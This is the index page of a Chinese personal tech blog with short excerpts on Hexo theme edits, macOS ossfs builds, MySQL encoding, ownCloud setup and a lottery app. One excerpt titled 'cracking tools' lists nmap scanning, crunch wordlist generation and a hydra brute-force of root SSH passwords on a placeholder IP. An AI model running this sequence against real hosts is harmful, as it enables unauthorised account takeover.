Sourcod

Always be happy


  • 首页

  • 关于

  • 标签

  • 分类

  • 归档

  • 站点地图

react组件

发表于 2017-12-06 |
  • material-ui

浏览GitHub上的网页

发表于 2017-11-20 |

我们打开的GitHub上的html文件都是源码

怎么访问html文件呢?

在项目源代码页面链接前缀那加上http://htmlpreview.github.com/?

举个栗子:

需要打开的项目页面:https://github.com/WilleamZhao/lottery/blob/master/index.html

给加上前缀:http://htmlpreview.github.com/?

最终链接:http://htmlpreview.github.io/?https://github.com/WilleamZhao/lottery/blob/master/index.html

破解工具

发表于 2017-09-11 |
  • linux 破解工具
  1. 先用nmap扫描目标端口
    sudo nmap -O 123.123.123.123
  2. 使用crunch和社工生成密码字典
    crunch 6 8 asdfqwer -c 6000 -o START
  3. 使用hydra破解密码
    sudo hydra -l root -p ../test.txt -t 3 -o save.log -vV 123.123.123.123 ssh

修改hexo next主题, url路径后加index.html

发表于 2017-08-30 |

阿里云oss部署hexo不支持自动跳转到index.html页面
所以需要修改next主题生成路径。
特记录下,方便以后修改。

  1. layout/_macro/post.swig
    修改hexo-next主题-url路径后加index-html_1.png
  2. node_modules/hexo/lib/plugins/helper/paginator.js
    修改hexo-next主题-url路径后加index-html_2.png
  3. node_modules/hexo/lib/plugins/helper/list-categories.js
    修改hexo-next主题-url路径后加index-html_3.png
  4. node_modules/hexo/lib/plugins/helper/tagcloud.js
    修改hexo-next主题-url路径后加index-html_4.png

好用的linux工具

发表于 2017-08-30 | 分类于 未分类 |
  • mutt 邮件客户端
  • htop 进程查看
  • mplayer
  • Nutstore
  • rdesktop
  • latex
  • httpie

macosx上安装ossfs服务

发表于 2017-06-20 | 分类于 aliyun , macosx , ossfs |

ossfs是阿里云 oss 挂载到本地的服务/n
由于阿里云只提供了ubuntu和centos的安装包,所以mac上只能自己编译安装

安装osxfuse

1
brew cask install osxfuse

克隆源码

1
git clone git@github.com:aliyun/ossfs.git

执行autogen.sh

./autogen.sh

安装openssl,并把openssl拷贝到ossfs文件夹下

1
2
brew install openssl
cp -R /usr/local/Cellar/openssl/1.0.2l/include/openssl ~/opt/ossfs/

执行configure

1
./configure --with-openssl=/usr/local/opt/openssl

make & make install

1
2
make
sudo make install

到这里安装就结束了。开始配置


阅读全文 »

mac os 下idea 插入数据库乱码

发表于 2017-04-25 | 分类于 idea , macosx , mysql |

今天做一个报表怎么查询都查询不到,后来经过调试发现是中文查询不到,上网上找了很多文章都没搞定。

后来看到我的项目中mysql下的配置文件url是

1
jdbc:mysql://192.168.1.13:3306/hitu_shop?useUnicode=true&characterEncoding=UTF-8

发现有个 useUnicode=true

阅读全文 »

让org2blog支持中文

发表于 2017-04-19 | 分类于 emacs , lisp , 语言 |

因为wordpress不支持non-ascii,所以org2blog不能发布带中文的文章

为了解决这个问题找了很长时间,现把解决方法分享出来。

原文网址:org2blog转ascii
一个日本网站

把下面代码粘到org2blog配置文件下面

阅读全文 »

年会抽奖软件

发表于 2017-03-17 |

公司开年会,要求我们做一个抽奖程序,由于时间比较紧,所以就在网上找了几个抽奖软件&程序。

  1. 吉详抽奖软件
  2. 一个简单的在线抽奖系统
  3. 在线抽奖
  4. 抽奖软件大全

后来自己写了一个

放到github上了h5抽奖软件

在线地址:http://sourcod.coding.me/lottery/

图片加载有点慢。等一会就出来了。

搭建owncloud私有网盘

发表于 2017-03-14 |

安装 owncloud

  1. 下载 owncloud
    wget "https://download.owncloud.org/community/owncloud-9.1.3.zip"
  2. 解压
    unzip owncloud-9.1.3.zip -d owncloud
  3. 配置 nginx
    vi /usr/local/nginx/conf/nginx.conf
    ※按照官网提示&个人情况配置※
阅读全文 »
123…5
WilleamZhao

WilleamZhao

Full Stack Engineer

45 日志
23 分类
46 标签
RSS
GitHub E-Mail Weibo
Creative Commons
© 2017 — 2018 WilleamZhao
由 Hexo 强力驱动
|
主题 — NexT.Gemini v5.1.2